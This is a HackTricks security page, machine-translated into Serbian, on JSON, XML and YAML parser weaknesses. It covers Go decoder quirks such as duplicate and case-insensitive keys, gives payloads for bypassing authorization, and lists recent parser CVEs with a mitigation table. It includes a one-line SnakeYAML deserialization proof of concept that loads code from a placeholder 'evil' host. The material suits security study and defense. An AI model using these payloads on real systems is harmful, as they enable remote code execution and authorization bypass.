JSON, XML & Yaml Hacking & Problemi
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Go JSON dekoder
Sledeći problemi su otkriveni u Go JSON parseru i mogu postojati i u drugim jezicima. Ovi problemi su objavljeni u this blog post.
Go’s JSON, XML, and YAML parsers imaju dugu istoriju nekonzistentnosti i nesigurnih podrazumevanih postavki koje mogu biti zloupotrebljene za bypass authentication, escalate privileges, or exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
Cilj je iskoristiti struct-ove koji omogućavaju napadaču da čita/piše osetljiva polja (npr., IsAdmin, Password).
- Primer Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Uobičajene ranjivosti
- Nedostajući tag (bez taga = polje se i dalje parsira po podrazumevanoj vrednosti):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Neispravna upotreba
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Ispravan način da se spreči da polje bude (un)marshaled:
type User struct {
IsAdmin bool `json:"-"`
}
Razlike u parserima
Cilj je da se bypass authorization iskorišćavanjem toga kako različiti parseri interpretiraju isti payload na različite načine, na primer:
- CVE-2017-12635: Apache CouchDB bypass via duplicate keys
- 2022: Zoom 0-click RCE via XML parser inconsistency
- GitLab 2025 SAML bypass via XML quirks
1. Duplirana polja:
Go's encoding/json uzima poslednje polje.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Drugi parseri (npr. Java’s Jackson) mogu uzeti prvi.
2. Neosetljivost na veličinu slova: Go nije osetljiv na veličinu slova:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Čak i Unicode trikovi rade:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Cross-service mismatch: Zamisli:
- Proxy napisan u Go
- AuthZ servis napisan u Pythonu
Napadač šalje:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python vidi
UserAction, dozvoljava ga - Go vidi
AdminAction, izvršava ga
Zbrka formata podataka (Polyglots)
Cilj je iskoristiti sisteme koji mešaju formate (JSON/XML/YAML) ili propuste bezbednost pri greškama parsiranja, npr:
- CVE-2020-16250: HashiCorp Vault je parsirao JSON koristeći XML parser nakon što je STS vratio JSON umesto XML-a.
Napadač kontroliše:
- Zaglavlje
Accept: application/json - Delimična kontrola nad JSON telom
Go-ov XML parser ga je ipak parsirao i verovao ubačenom identitetu.
- Sastavljen payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Rezultat:
- Go JSON parser:
Action_2(neosetljivo na veličinu slova + važi poslednji) - YAML parser:
Action_1(osetljivo na veličinu slova) - XML parser: parsira
"Action_3"unutar stringa
Značajne ranjivosti parsera (2023-2025)
Sledeći javno-iskoristivi propusti pokazuju da nesigurno parsiranje predstavlja problem više jezika — ne samo problem u Go-u.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Pogađa:
org.yaml:snakeyaml< 2.0 (koji se koristi u Spring-Boot, Jenkins, itd.). - Korenski uzrok:
new Constructor()deserijalizuje proizvoljne Java klase, omogućavajući lanac gadgeta koji kulminira izvršenjem koda na daljinu. - One-liner PoC (će otvoriti kalkulator na ranjivom hostu):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Popravka / Ublažavanje:
- Upgrade to ≥2.0 (koristi
SafeLoaderpo defaultu). - Na starijim verzijama, eksplicitno koristite
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Affects:
libyaml≤0.2.5 (C biblioteka koju koriste mnoge vezivke za programske jezike). - Issue: Pozivanje
yaml_event_delete()dva puta dovodi do double-free-a koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, heap exploitation. - Status: Upstream je odbio kao „API misuse“, ali Linux distribucije su isporučile ispravljenu 0.2.6 koja defensivno postavlja pokazivač na null pre oslobađanja.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Affects: Tencent RapidJSON pre commita
8269bc2(<1.1.0-patch-22). - Bug: U
GenericReader::ParseNumber()nekontrolisana aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se prelamaju (wrap around) i korumpiraju heap — što na kraju može omogućiti eskalaciju privilegija kada se dobijeni objekat koristi za odluke o autorizaciji.
🔐 Mitigations (Updated)
| Risk | Fix / Recommendation |
|---|---|
| Nepoznata polja (JSON) | decoder.DisallowUnknownFields() |
| Duplikat polja (JSON) | ❌ No fix in stdlib — validate with jsoncheck |
| Poređenje bez obzira na veličinu slova (Go) | ❌ No fix — validate struct tags + pre-canonicalize input |
| Nevalidni podaci u XML / XXE | Koristite ojačani parser (encoding/xml + DisallowDTD) |
| Nepoznati ključevi u YAML-u | yaml.KnownFields(true) |
| Unsafe YAML deserialization | Koristite SafeConstructor / upgrade to SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Upgrade to 0.2.6 or distro-patched release |
| RapidJSON <patched commit | Compile against latest RapidJSON (≥July 2024) |
See also
References
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks